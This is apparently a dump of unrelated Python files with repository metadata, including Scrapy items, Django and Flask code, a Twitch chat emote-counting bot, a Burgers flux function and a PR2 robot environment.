from enum import Enum, auto class SetuActionType(Enum): TESTSESSION_INIT = auto() TESTSESSION_FINISH = auto() TESTSESSION_REGISTER_CONFIG = auto() TESTSESSION_CREATE_FILE_DATA_SOURCE = auto() TESTSESSION_LAUNCH_GUIAUTOMATOR = auto() TESTSESSION_QUIT_GUIAUTOMATOR = auto() TESTSESSION_CREATE_GUI = auto() CONFIGURATOR_GET_SETU_OPTION_VALUE = auto() CONFIGURATOR_GET_USER_OPTION_VALUE = auto() DATASOURCE_GET_NEXT_RECORD = auto() DATASOURCE_GET_ALL_RECORDS = auto() DATASOURCE_RESET = auto() GUIAUTO_BROWSER_GO_TO_URL = auto() GUIAUTO_BROWSER_GO_BACK = auto() GUIAUTO_BROWSER_GO_FORWARD = auto() GUIAUTO_BROWSER_REFRESH = auto() GUIAUTO_BROWSER_EXECUTE_JAVASCRIPT = auto() GUIAUTO_CREATE_ELEMENT = auto() GUIAUTO_CREATE_MULTIELEMENT = auto() GUIAUTO_CREATE_DROPDOWN = auto() GUIAUTO_CREATE_RADIOGROUP = auto() GUIAUTO_CREATE_FRAME = auto() GUIAUTO_CREATE_ALERT = auto() GUIAUTO_GET_MAIN_WINDOW = auto() GUIAUTO_SET_SLOMO = auto() GUIAUTO_WEB_ALERT_CONFIRM = auto() GUIAUTO_WEB_ALERT_DISMISS = auto() GUIAUTO_WEB_ALERT_GET_TEXT = auto() GUIAUTO_WEB_ALERT_SEND_TEXT = auto() GUIAUTO_GUI_CREATE_GUI = auto() GUIAUTO_ELEMENT_ENTER_TEXT = auto() GUIAUTO_ELEMENT_SET_TEXT = auto() GUIAUTO_ELEMENT_CLEAR_TEXT = auto() GUIAUTO_ELEMENT_CLICK = auto() GUIAUTO_ELEMENT_WAIT_UNTIL_CLICKABLE = auto() GUIAUTO_ELEMENT_CHECK = auto() GUIAUTO_ELEMENT_UNCHECK = auto() GUIAUTO_DROPDOWN_HAS_VALUE_SELECTED = auto() GUIAUTO_DROPDOWN_HAS_INDEX_SELECTED = auto() GUIAUTO_DROPDOWN_SELECT_BY_VALUE = auto() GUIAUTO_DROPDOWN_SELECT_BY_INDEX = auto() GUIAUTO_DROPDOWN_GET_FIRST_SELECTED_OPTION_VALUE = auto() GUIAUTO_DROPDOWN_HAS_VISIBLE_TEXT_SELECTED = auto() GUIAUTO_DROPDOWN_GET_FIRST_SELECTED_OPTION_TEXT = auto() GUIAUTO_DROPDOWN_SELECT_BY_VISIBLE_TEXT = auto() GUIAUTO_RADIOGROUP_HAS_VALUE_SELECTED = auto() GUIAUTO_RADIOGROUP_HAS_INDEX_SELECTED = auto() GUIAUTO_RADIOGROUP_SELECT_BY_VALUE = auto() GUIAUTO_RADIOGROUP_SELECT_BY_INDEX = auto() GUIAUTO_RADIOGROUP_GET_FIRST_SELECTED_OPTION_VALUE = auto() GUIAUTO_DOMROOT_FOCUS = auto() GUIAUTO_DOMROOT_CREATE_FRAME = auto() GUIAUTO_FRAME_FOCUS = auto() GUIAUTO_FRAME_CREATE_FRAME = auto() GUIAUTO_FRAME_GET_PARENT = auto() GUIAUTO_WINDOW_FOCUS = auto() GUIAUTO_WINDOW_GET_TITLE = auto() GUIAUTO_MAIN_WINDOW_MAXIMIZE = auto() GUIAUTO_MAIN_WINDOW_CREATE_CHILD_WINDOW = auto() GUIAUTO_MAIN_WINDOW_GET_LATEST_CHILD_WINDOW = auto() GUIAUTO_MAIN_WINDOW_CLOSE_ALL_CHILD_WINDOWS = auto() GUIAUTO_CHILD_WINDOW_CLOSE = auto()
31.298851
70
0.756519
330
2,723
5.642424
0.242424
0.295381
0.081633
0.040816
0.273899
0.107411
0.07304
0
0
0
0
0
0.173705
2,723
87
71
31.298851
0.827556
0
0
0
0
0
0
0
0
0
0
0
0
1
0
false
0
0.015625
0
1
0
0
0
0
null
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
2
1b86eaa9d42b2475de604e1398f773710c3792ec
157
py
Python
setup.py
jack-homan-deloitte/txwebtest
e6a97f3cbca48a55d3c91b94ec89ffc30ddc45c2
[ "MIT" ]
1
2016-12-03T03:33:24.000Z
2016-12-03T03:33:24.000Z
setup.py
jack-homan-deloitte/txwebtest
e6a97f3cbca48a55d3c91b94ec89ffc30ddc45c2
[ "MIT" ]
null
null
null
setup.py
jack-homan-deloitte/txwebtest
e6a97f3cbca48a55d3c91b94ec89ffc30ddc45c2
[ "MIT" ]
2
2016-09-27T14:46:04.000Z
2019-09-18T22:18:26.000Z
#!/usr/bin/env python from distutils.core import setup setup( name='txwebtest', version='0.1', py_modules=['txwebtest'], zip_safe=False, )
14.272727
32
0.649682
21
157
4.761905
0.904762
0
0
0
0
0
0
0
0
0
0
0.015748
0.191083
157
10
33
15.7
0.771654
0.127389
0
0
0
0
0.154412
0
0
0
0
0
0
1
0
true
0
0.142857
0
0.142857
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
1b978aaa189d5d006fe45661fceb5171fc21af1f
1,013
py
Python
taobao_spider/items.py
zllee/taobao_spider
c582197092487edbc1de4dbe6ee500e304efc1d8
[ "Apache-2.0" ]
null
null
null
taobao_spider/items.py
zllee/taobao_spider
c582197092487edbc1de4dbe6ee500e304efc1d8
[ "Apache-2.0" ]
null
null
null
taobao_spider/items.py
zllee/taobao_spider
c582197092487edbc1de4dbe6ee500e304efc1d8
[ "Apache-2.0" ]
null
null
null
# -*- coding: utf-8 -*- # Define here the models for your scraped items # # See documentation in: # http://doc.scrapy.org/en/latest/topics/items.html import scrapy from scrapy.item import Item, Field from scrapy.loader import ItemLoader from scrapy.loader.processors import MapCompose, TakeFirst, Join class TaobaoSpiderItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() title = scrapy.Field() link = scrapy.Field() price = scrapy.Field() comment = scrapy.Field() now_price = scrapy.Field() address = scrapy.Field() pass class TaobaoPicItem(scrapy.Item): # define the fields for your item here like: # name = scrapy.Field() id = scrapy.Field() shop = scrapy.Field() pic_urls = scrapy.Field() pass class TaobaoSpiderLoader(ItemLoader): default_item_class = TaobaoSpiderItem default_input_processor = MapCompose(lambda s: s.strip()) default_output_processor = TakeFirst() description_out = Join()
27.378378
64
0.70385
127
1,013
5.543307
0.464567
0.171875
0.045455
0.053977
0.167614
0.167614
0.167614
0.167614
0.167614
0.167614
0
0.001221
0.19151
1,013
36
65
28.138889
0.858364
0.265548
0
0.090909
0
0
0
0
0
0
0
0
0
1
0
false
0.090909
0.181818
0
0.909091
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
0
0
1
0
0
2
1b99ee2cb0933c6599e4f6d3fdc7d85bd5053c44
2,186
py
Python
zucaml/resamplers/smote.py
GustavoBMG/earthquake-prediction
a3278bb22385c78013269356990a60d60aba50f1
[ "MIT" ]
1
2021-11-09T20:16:31.000Z
2021-11-09T20:16:31.000Z
zucaml/resamplers/smote.py
GustavoBMG/earthquake-prediction
a3278bb22385c78013269356990a60d60aba50f1
[ "MIT" ]
null
null
null
zucaml/resamplers/smote.py
GustavoBMG/earthquake-prediction
a3278bb22385c78013269356990a60d60aba50f1
[ "MIT" ]
null
null
null
# import pandas as pd # import numpy as np # import multiprocessing # from sklearn.base import BaseEstimator # from sklearn.base import TransformerMixin # from sklearn.preprocessing import StandardScaler # from sklearn.cluster import KMeans # from sklearn.preprocessing import OneHotEncoder # from sklearn.pipeline import Pipeline # n_cores = multiprocessing.cpu_count() # rnd_slt = 123 # class KMeansDistances(BaseEstimator, TransformerMixin): # def __init__(self, params = {}): # super().__init__() # self.name = self.__class__.__name__ # self.params = params # def fit(self, X, y = None): # params = {} # params['random_state'] = rnd_slt # params['init'] = 'k-means++' # params['n_clusters'] = 5 if not 'n_clusters' in self.params else self.params['n_clusters'] # transformer = KMeans(**params) # self.transformer = Pipeline( # [ # ( # 'scale', # StandardScaler(), # ), # ( # self.name, # transformer, # ), # ] # ) # self.transformer.fit(X) # specified_clusters = self.transformer.predict(X) # self.specifier = OneHotEncoder(dtype = np.uint8, sparse = False, handle_unknown = 'ignore') # self.specifier.fit(specified_clusters.reshape(-1, 1)) # self.number_clusters = pd.Series(specified_clusters).nunique() # return self # def transform(self, X): # clusters_distances = ['distance_' + str(cluster) for cluster in range(0, self.number_clusters)] # clusters_names = ['cluster_' + str(cluster) for cluster in range(0, self.number_clusters)] # distances = pd.DataFrame(self.transformer.transform(X), columns = clusters_distances) # clusters = pd.DataFrame(self.specifier.transform(self.transformer.predict(X).reshape(-1, 1)), index = distances.index, columns = clusters_names) # new_features = pd.concat([distances, clusters], axis = 1) # return new_features
32.147059
154
0.591949
218
2,186
5.756881
0.366972
0.05259
0.043028
0.033466
0.073307
0.073307
0.073307
0.073307
0.073307
0.073307
0
0.007772
0.293687
2,186
68
155
32.147059
0.805052
0.923605
0
null
0
null
0
0
null
0
0
0
null
1
null
true
0
0
null
null
null
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
1ba16a06574ac7e6940c00cb0b90009a9ecf4b6b
426
py
Python
pybay/flatpages_ext/admin.py
polkapolka/pybay
3eb3fb5ac8711192fe45d8a7319f05acd3e5a869
[ "MIT" ]
11
2017-05-31T03:45:02.000Z
2021-09-01T02:53:52.000Z
pybay/flatpages_ext/admin.py
polkapolka/pybay
3eb3fb5ac8711192fe45d8a7319f05acd3e5a869
[ "MIT" ]
137
2017-04-19T13:16:09.000Z
2021-09-04T22:06:01.000Z
pybay/flatpages_ext/admin.py
polkapolka/pybay
3eb3fb5ac8711192fe45d8a7319f05acd3e5a869
[ "MIT" ]
35
2017-04-20T02:45:26.000Z
2021-09-01T02:53:57.000Z
from django.contrib import admin from reversion.admin import VersionAdmin from django.contrib.flatpages.admin import FlatPage, FlatPageAdmin from .models import HostedPicture admin.site.unregister(FlatPage) @admin.register(FlatPage) class FlatPageVersionedAdmin(VersionAdmin, FlatPageAdmin): pass @admin.register(HostedPicture) class HostedPictureAdmin(admin.ModelAdmin): list_display = ['title', 'url', 'html']
23.666667
66
0.805164
46
426
7.434783
0.543478
0.05848
0.099415
0
0
0
0
0
0
0
0
0
0.105634
426
17
67
25.058824
0.897638
0
0
0
0
0
0.028169
0
0
0
0
0
0
1
0
false
0.090909
0.363636
0
0.636364
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
1
1
0
0
0
0
2
1ba5155be53f54a4106fae1ee2a30419c6df69a6
299
py
Python
python/pycubool/__main__.py
Krekep/cuBool
e59f8e0cb4adedae8e7ac449e05bef3c1815a7da
[ "MIT" ]
null
null
null
python/pycubool/__main__.py
Krekep/cuBool
e59f8e0cb4adedae8e7ac449e05bef3c1815a7da
[ "MIT" ]
null
null
null
python/pycubool/__main__.py
Krekep/cuBool
e59f8e0cb4adedae8e7ac449e05bef3c1815a7da
[ "MIT" ]
null
null
null
from .wrapper import * from .utils import * from .matrix import * from .io import * # Setup global module state init_wrapper() print("**pycubool project**") print("pycubool is a python wrapper for a cuBool library.") print("See https://github.com/JetBrains-Research/cuBool for more information.")
24.916667
79
0.745819
42
299
5.285714
0.666667
0.135135
0
0
0
0
0
0
0
0
0
0
0.133779
299
11
80
27.181818
0.857143
0.083612
0
0
0
0
0.514706
0
0
0
0
0
0
1
0
true
0
0.5
0
0.5
0.375
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
0
0
0
2
59f6ffc68438d1de34ae88b22be18a8e1331eac5
5,112
py
Python
run.py
ohoudrehbini/disaster-pipeline
d88445d0a29a6df7b3c3d5f604e0b3eeb84cf25b
[ "FTL", "blessing" ]
null
null
null
run.py
ohoudrehbini/disaster-pipeline
d88445d0a29a6df7b3c3d5f604e0b3eeb84cf25b
[ "FTL", "blessing" ]
null
null
null
run.py
ohoudrehbini/disaster-pipeline
d88445d0a29a6df7b3c3d5f604e0b3eeb84cf25b
[ "FTL", "blessing" ]
null
null
null
{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "import json\n", "import plotly\n", "import pandas as pd\n", "\n", "from nltk.stem import WordNetLemmatizer\n", "from nltk.tokenize import word_tokenize\n", "\n", "from flask import Flask\n", "from flask import render_template, request, jsonify\n", "from plotly.graph_objs import Bar\n", "from sklearn.externals import joblib\n", "from sqlalchemy import create_engine\n", "\n", "\n", "app = Flask(__name__)\n", "\n", "def tokenize(text):\n", " tokens = word_tokenize(text)\n", " lemmatizer = WordNetLemmatizer()\n", "\n", " clean_tokens = []\n", " for tok in tokens:\n", " clean_tok = lemmatizer.lemmatize(tok).lower().strip()\n", " clean_tokens.append(clean_tok)\n", "\n", " return clean_tokens\n", "\n", "# load data\n", "engine = create_engine('sqlite:///../data/DisasterResponse.db')\n", "df = pd.read_sql_table('Messages', engine)\n", "\n", "# load model\n", "model = joblib.load(\"../models/classifier.pkl\")\n", "\n", "\n", "# index webpage displays cool visuals and receives user input text for model\n", "@app.route('/')\n", "@app.route('/index')\n", "\n", "def index():\n", " \n", " # extract data needed for visuals\n", " # Calculate message count by genre and related status \n", " genre_related = df[df['related']==1].groupby('genre').count()['message']\n", " genre_not_rel = df[df['related']==0].groupby('genre').count()['message']\n", " genre_names = list(genre_related.index)\n", " \n", " # Calculate proportion of each category with label = 1\n", " cat_props = df.drop(['id', 'message', 'original', 'genre'], axis = 1).sum()/len(df)\n", " cat_props = cat_props.sort_values(ascending = False)\n", " cat_names = list(cat_props.index)\n", " \n", "\n", " # create visuals\n", " graphs = [\n", " {\n", " 'data': [\n", " Bar(\n", " x=genre_names,\n", " y=genre_related,\n", " name = 'Related'\n", " ),\n", " \n", " Bar(\n", " x=genre_names,\n", " y=genre_not_rel,\n", " name = 'Not Related'\n", " )\n", " ],\n", "\n", " 'layout': {\n", " 'title': 'Distribution of Messages by Genre and Related Status',\n", " 'yaxis': {\n", " 'title': \"Count\"\n", " },\n", " 'xaxis': {\n", " 'title': \"Genre\"\n", " },\n", " 'barmode': 'group'\n", " }\n", " },\n", " {\n", " 'data': [\n", " Bar(\n", " x=cat_names,\n", " y=cat_props\n", " )\n", " ],\n", "\n", " 'layout': {\n", " 'title': 'Proportion of Messages by Category',\n", " 'yaxis': {\n", " 'title': \"Proportion\"\n", " },\n", " 'xaxis': {\n", " 'title': \"Category\",\n", " 'tickangle': -45\n", " }\n", " }\n", " }\n", " ]\n", " \n", " # encode plotly graphs in JSON\n", " ids = [\"graph-{}\".format(i) for i, _ in enumerate(graphs)]\n", " graphJSON = json.dumps(graphs, cls=plotly.utils.PlotlyJSONEncoder)\n", " \n", " # render web page with plotly graphs\n", " return render_template('master.html', ids=ids, graphJSON=graphJSON)\n", "\n", "# web page that handles user query and displays model results\n", "@app.route('/go')\n", "def go():\n", " # save user input in query\n", " query = request.args.get('query', '') \n", "\n", " # use model to predict classification for query\n", " classification_labels = model.predict([query])[0]\n", " classification_results = dict(zip(df.columns[4:], classification_labels))\n", "\n", " # This will render the go.html Please see that file. \n", " return render_template(\n", " 'go.html',\n", " query=query,\n", " classification_result=classification_results\n", " )\n", "\n", "\n", "def main():\n", " app.run(host='0.0.0.0', port=3001, debug=True)\n", "\n", "\n", "if __name__ == '__main__':\n", " main()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" } }, "nbformat": 4, "nbformat_minor": 2 }
32.980645
96
0.444053
541
5,112
4.09427
0.325323
0.040632
0.023025
0.012641
0.106546
0.092099
0.043341
0.020767
0.020767
0
0
0.00609
0.35759
5,112
154
97
33.194805
0.668392
0
0
0.363636
0
0.012987
0.74687
0.141432
0
0
0
0
0
1
0
true
0
0.064935
0
0.064935
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
null
0
0
0
0
0
0
1
0
0
0
0
0
0
2
59fe346110ff693d0001691274afc08514a49b28
289
py
Python
award/serializers.py
Binamin-hussein100/Awards
590ff3e76de4fc71872531a7c7dc0213efeae8fb
[ "MIT" ]
null
null
null
award/serializers.py
Binamin-hussein100/Awards
590ff3e76de4fc71872531a7c7dc0213efeae8fb
[ "MIT" ]
null
null
null
award/serializers.py
Binamin-hussein100/Awards
590ff3e76de4fc71872531a7c7dc0213efeae8fb
[ "MIT" ]
null
null
null
from django.db.models import fields from rest_framework import serializers from .models import Project # add code here class ProjectSerializers(serializers.ModelSerializer): class Meta: model = Project fields = ('user','title','description','landing_page','link')
28.9
69
0.730104
33
289
6.333333
0.727273
0.114833
0
0
0
0
0
0
0
0
0
0
0.176471
289
10
69
28.9
0.878151
0.044983
0
0
0
0
0.130909
0
0
0
0
0
0
1
0
false
0
0.428571
0
0.714286
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
1
0
1
0
0
2
940e15cfa0ed52d77c9634ed4e061bdf79ad41cd
9,293
py
Python
botnet.py
igaskin/twitch_auto_clip
46ca24d807d654e6aa5bd74900ed9e65c72026eb
[ "Apache-2.0" ]
null
null
null
botnet.py
igaskin/twitch_auto_clip
46ca24d807d654e6aa5bd74900ed9e65c72026eb
[ "Apache-2.0" ]
null
null
null
botnet.py
igaskin/twitch_auto_clip
46ca24d807d654e6aa5bd74900ed9e65c72026eb
[ "Apache-2.0" ]
null
null
null
''' Copyright 2017 Amazon.com, Inc. or its affiliates. All Rights Reserved. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. A copy of the License is located at http://aws.amazon.com/apache2.0/ or in the "license" file accompanying this file. This file is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ''' import sys import os import requests import json import irc.bot from influxdb import InfluxDBClient from threading import Thread emotes = ['VoteYea', 'NotATK', 'HassaanChop', 'PogChamp', 'DendiFace', 'ArigatoNas', 'RaccAttack', 'ArsonNoSexy', 'ShazBotstix', 'PermaSmug', 'Kreygasm', 'PJSalt', 'RedCoat', 'SoonerLater', 'StrawBeary', 'PanicVis', 'Kappa', 'DogFace', 'Kappu', 'MrDestructoid', 'OpieOP', 'UnSane', 'twitchRaid', 'copyThis', 'panicBasket', 'TBTacoProps', 'TBCrunchy', 'PipeHype', 'BigPhish', 'FailFish', 'TF2John', 'MVGame', 'KappaRoss', 'riPepperonis', 'TehePelo', 'HeyGuys', 'ResidentSleeper', 'TheThing', 'BloodTrail', 'CoolCat', 'DoritosChip', 'OSfrog', 'ArgieB8', 'ANELE', 'VaultBoy', 'SMOrc', 'WholeWheat', 'SuperVinlin', 'TTours', 'TwitchLit', 'PrimeMe', 'StoneLightning', 'BegWan', 'PRChase', 'BrokeBack', 'UWot', 'JonCarnage', 'YouWHY', 'BudStar', 'MikeHogu', 'InuyoFace', 'SeemsGood', 'ThankEgg', '4Head', 'GingerPower', 'EleGiggle', 'TwitchUnity', 'mcaT', 'StinkyCheese', 'DatSheffy', 'cmonBruh', 'PicoMause', 'CorgiDerp', 'TriHard', 'ItsBoshyTime', 'MingLee', 'PraiseIt', 'PJSugar', 'ShadyLulu', 'TBAngel', 'Keepo', 'OSsloth', 'WutFace', 'FunRun', 'OhMyDog', 'BJBlazkowicz', 'PMSTwin', 'JKanStyle', 'CrreamAwk', 'BuddhaBar', 'BlargNaut', 'AMPTropPunch', 'RlyTho', 'FrankerZ', 'SabaPing', 'PunOko', 'TinyFace', 'bleedPurple', 'BCWarrior', 'TheRinger', 'SSSsss', 'MorphinTime', 'TwitchRPG', 'KappaPride', 'imGlitch', 'SoBayed', 'OptimizePrime', 'KevinTurtle', 'TakeNRG', 'duDudu', 'DAESuppy', 'Mau5', 'BibleThump', 'CarlSmile', 'QuadDamage', 'KappaClaus', 'AsianGlow', 'GrammarKing', 'Jebaited', 'ChefFrank', 'VoteNay', 'NotLikeThis', 'CurseLit', 'DansGame', 'GivePLZ', 'NomNom', 'TheIlluminati', 'HumbleLife', 'BabyRage', 'Squid4', 'Squid1', 'Squid2', 'Squid3', 'FutureMan', 'FreakinStinkin', 'RalpherZ', 'WTRuck', 'HotPokket', 'VoHiYo', 'UncleNox', 'OSblob', 'PartyTime', 'YouDontSay', 'DBstyle', 'DxCat', 'BrainSlug', 'PeoplesChamp', 'BatChest', 'NinjaGrumpy', 'Poooound', 'KappaWealth', 'SmoocherZ', 'OSkomodo', 'OneHand', 'TheTarFu', 'GOWSkull', 'BigBrother', 'CoolStoryBob', 'TooSpicy', 'pastaThat', 'RitzMitz', 'SwiftRage', 'FUNgineer', 'TBTacoBag', 'RuleFive', 'BlessRNG', 'KAPOW', 'KonCha', 'PunchTrees', 'TearGlove', 'HassanChop', 'Kippa', 'ThunBeast'] class color: PURPLE = '\033[95m' CYAN = '\033[96m' DARKCYAN = '\033[36m' BLUE = '\033[94m' GREEN = '\033[92m' YELLOW = '\033[93m' RED = '\033[91m' BOLD = '\033[1m' UNDERLINE = '\033[4m' END = '\033[0m' # print color.BOLD + 'Hello World !' + color.END class TwitchBot(irc.bot.SingleServerIRCBot): def __init__(self, username, client_id, token, channel): self.client_id = client_id self.token = token self.channel = '#' + channel self.influx_host = 'influxdb' self.influx_user = 'root' self.influx_pass = 'root' # Initialize InfluxDb self.influx = self._influx_init() # Get the channel id, we will need this for v5 API calls url = 'https://api.twitch.tv/kraken/users?login=' + channel headers = {'Client-ID': client_id, 'Accept': 'application/vnd.twitchtv.v5+json'} r = requests.get(url, headers=headers).json() self.channel_id = r['users'][0]['_id'] # Create IRC bot connection server = 'irc.chat.twitch.tv' port = 6667 print 'Connecting to ' + color.BOLD + server + color.END + ' on port ' + str(port) + '...' irc.bot.SingleServerIRCBot.__init__(self, [(server, port, 'oauth:'+token)], username, username) def on_welcome(self, c, e): print 'Joining ' + color.BOLD + self.channel + color.END # You must request specific capabilities before you can use them c.cap('REQ', ':twitch.tv/membership') c.cap('REQ', ':twitch.tv/tags') c.cap('REQ', ':twitch.tv/commands') c.join(self.channel) def on_pubmsg(self, c, e): for emote in emotes: if emote in e.arguments[0].split(' '): print 'Recieved ' + emote + ': ' + color.BOLD + self.channel + color.END json_body = [ { "measurement": "emotes", "tags": { "channel": self.channel[1:], "emote": emote }, "fields": { "value": 1.0 } } ] self.influx.write_points(json_body) return def _get_emotes(self): # TODO grab those emotes # https://twitchemotes.com/api_cache/v3/global.json # TODO tag the sub ones pass def _influx_init(self): db_name = "twitch" channel = self.channel[1:] client = InfluxDBClient(self.influx_host, 8086, self.influx_user, self.influx_pass) dbs = client.get_list_database() dbs = [ name['name'] for name in dbs ] # Create the database if it doesn't exist if not db_name in dbs: client.create_database(db_name) client.switch_database(db_name) return client pass def get_top_games(self): url = "https://api.twitch.tv/kraken/games/top" headers = { 'client-id': self.client_id, 'accept': "application/vnd.twitchtv.v5+json", } response = requests.request("GET", url, headers=headers) response = json.loads(response.text) self.top_games = [ data['game']['name'] for data in response['top'] ] print self.top_games def get_top_channels(self, game): url = "https://api.twitch.tv/kraken/streams" querystring = {"game":game} headers = { 'client-id': self.client_id, 'accept': "application/vnd.twitchtv.v5+json", } response = requests.request("GET", url, headers=headers, params=querystring) response = json.loads(response.text) top_channels = [ data['channel']['name'] for data in response['streams'] ] return top_channels def influx_write(self, body): pass def do_command(self, e, cmd): c = self.connection # Poll the API to get current game. # if cmd == "game": # url = 'https://api.twitch.tv/kraken/channels/' + self.channel_id # headers = {'Client-ID': self.client_id, 'Accept': 'application/vnd.twitchtv.v5+json'} # r = requests.get(url, headers=headers).json() # c.privmsg(self.channel, r['display_name'] + ' is currently playing ' + r['game']) # # # Poll the API the get the current status of the stream # elif cmd == "title": # url = 'https://api.twitch.tv/kraken/channels/' + self.channel_id # headers = {'Client-ID': self.client_id, 'Accept': 'application/vnd.twitchtv.v5+json'} # r = requests.get(url, headers=headers).json() # c.privmsg(self.channel, r['display_name'] + ' channel title is currently ' + r['status']) def get_top_games(client_id): url = "https://api.twitch.tv/kraken/games/top" headers = { 'client-id': client_id, 'accept': "application/vnd.twitchtv.v5+json", } response = requests.request("GET", url, headers=headers) response = json.loads(response.text) top_games = [ data['game']['name'] for data in response['top'] ] return top_games def get_top_channels(client_id, game): url = "https://api.twitch.tv/kraken/streams" querystring = {"game":game} headers = { 'client-id': client_id, 'accept': "application/vnd.twitchtv.v5+json", } response = requests.request("GET", url, headers=headers, params=querystring) response = json.loads(response.text) top_channels = [ data['channel']['name'] for data in response['streams'] ] return top_channels def main(): # if len(sys.argv) != 5: # print("Usage: twitchbot <username> <client id> <token> <channel>") # sys.exit(1) username = 'emote_listener' client_id = os.getenv('TWITCH_CLIENT_ID') token = os.getenv('OAUTH_TOKEN') # username = sys.argv[1] # client_id = sys.argv[2] # token = sys.argv[3] # channel = sys.argv[4] # bot = TwitchBot(username, client_id, token, channel) top_games = get_top_games(client_id) for game in top_games: print "Getting channels for {}".format(game) channels = get_top_channels(client_id, game) for channel in channels: Thread(target = TwitchBot(username, client_id, token, channel).start).start() # bot.start() if __name__ == "__main__": main()
43.425234
2,155
0.612289
1,058
9,293
5.289225
0.384688
0.038599
0.01376
0.021265
0.317548
0.297713
0.248392
0.247677
0.247677
0.247677
0
0.012882
0.231465
9,293
213
2,156
43.629108
0.770652
0.14441
0
0.251908
0
0
0.314646
0.024569
0
0
0
0.004695
0
0
null
null
0.038168
0.053435
null
null
0.038168
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
null
0
0
0
0
1
0
0
0
0
0
0
0
0
2
94279ed4985299d4ebd70dbe985b00406e09f4e6
288
py
Python
Weno/PyVec/Burghers.py
danielcort/benchmarks-python-julia-c
aececc9f1fc3c368ae57f84028b0cf35a0c138e4
[ "MIT" ]
21
2018-03-27T08:36:34.000Z
2021-10-01T12:26:54.000Z
Weno/PyVec/Burghers.py
danielcort/benchmarks-python-julia-c
aececc9f1fc3c368ae57f84028b0cf35a0c138e4
[ "MIT" ]
2
2018-05-13T16:44:06.000Z
2019-09-27T06:33:09.000Z
Weno/PyVec/Burghers.py
danielcort/benchmarks-python-julia-c
aececc9f1fc3c368ae57f84028b0cf35a0c138e4
[ "MIT" ]
6
2018-05-29T13:27:31.000Z
2021-06-27T17:49:09.000Z
import numpy as np def flux(x): return 0.5 * np.square(x) def minf(a,b): # if b<=0: # return flux(b) # elif a>=0: # return flux(a) # else: # return 0.0 return (b <= 0) * flux(b) + (a >= 0) * flux(a) def maxf(a,b): return np.maximum(flux(a),flux(b))
16.941176
50
0.510417
53
288
2.773585
0.358491
0.142857
0.14966
0
0
0
0
0
0
0
0
0.039216
0.291667
288
16
51
18
0.681373
0.302083
0
0
0
0
0
0
0
0
0
0
0
1
0.428571
false
0
0.142857
0.428571
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
1
0
0
0
2
9427e000e120e35a1f40299c51886750ab5cfe32
13,780
py
Python
meta_mb/envs/pr2/new_real_pr2_env.py
iclavera/meta-mb
a1204e573c1415161129403cfb287bf120488fd0
[ "MIT" ]
4
2021-01-07T08:22:51.000Z
2021-12-27T10:53:14.000Z
meta_mb/envs/pr2/new_real_pr2_env.py
iclavera/meta-mb
a1204e573c1415161129403cfb287bf120488fd0
[ "MIT" ]
null
null
null
meta_mb/envs/pr2/new_real_pr2_env.py
iclavera/meta-mb
a1204e573c1415161129403cfb287bf120488fd0
[ "MIT" ]
null
null
null
import numpy as np import zmq from meta_mb.logger import logger import gym from gym import spaces from meta_mb.meta_envs.base import MetaEnv import time class PR2Env(MetaEnv, gym.utils.EzPickle): PR2_GAINS = np.array([3.09, 1.08, 0.393, 0.674, 0.111, 0.152, 0.098]) def __init__(self): # self.goal = np.array([-0.1511672, 0.43030036, 0.71051866]) # self.goal = np.array([-7.29517469e-02, -2.86581420e-02, 5.70482330e-01, -8.47117285e-02, # -1.18948075e-02, 5.98804157e-01, -5.13613156e-02, -8.77137857e-02, # 5.85055245e-01]) # self.goal = np.array([0.1644276, -0.31147851, 1.52381236, # -0.90102611, -4.98011356, -1.66494068, -1.01992367]) self.goal = [np.array([ 5.96785857e-01, -2.85932172e-01, 1.59162625e+00, -1.10704422e+00, -5.06300837e+00, -1.71918953e+00, -6.13503858e-01, 2.79299305e-01, 3.57783994e-01, 1.16489066e-01]) ] context = zmq.Context() self.socket = context.socket(zmq.REQ) print("Connecting to the server...") self.socket.connect("tcp://127.0.0.1:7777") max_torques = np.array([5] * 7) self.frame_skip = 4 # self.init_qpos = np.array([0.8, 0.4, 1.5, -1., -1.7, -.5, 0.]) # self.init_qpos = np.array([0.7783511, -0.25606883, 1.12741523, # -0.87482262, -7.52093116, -0.09122304, 3.15171159]) # self.init_qpos = np.array([7.10011717e-01, -3.56398411e-01, 9.63204825e-01, -9.12897313e-01, # -4.66548326e+00, -2.05669173e+00, -2.77487280e-01]) # self.init_qpos = np.array([0.5, -0.5, 1, -0.5, -5, 0, 1]) # self.init_qpos = np.array([0.7, -0.2, 1.1, -0.8, -7.5, 0, 3]) # self.init_qpos = np.array([0.1, 0.1, 0.1, 0.1, 0.1, 0.1, 0.1]) self.init_qpos = np.array([0,0,0,0,0,0,0]) self.act_dim = 7 self.obs_dim = 23 - 6 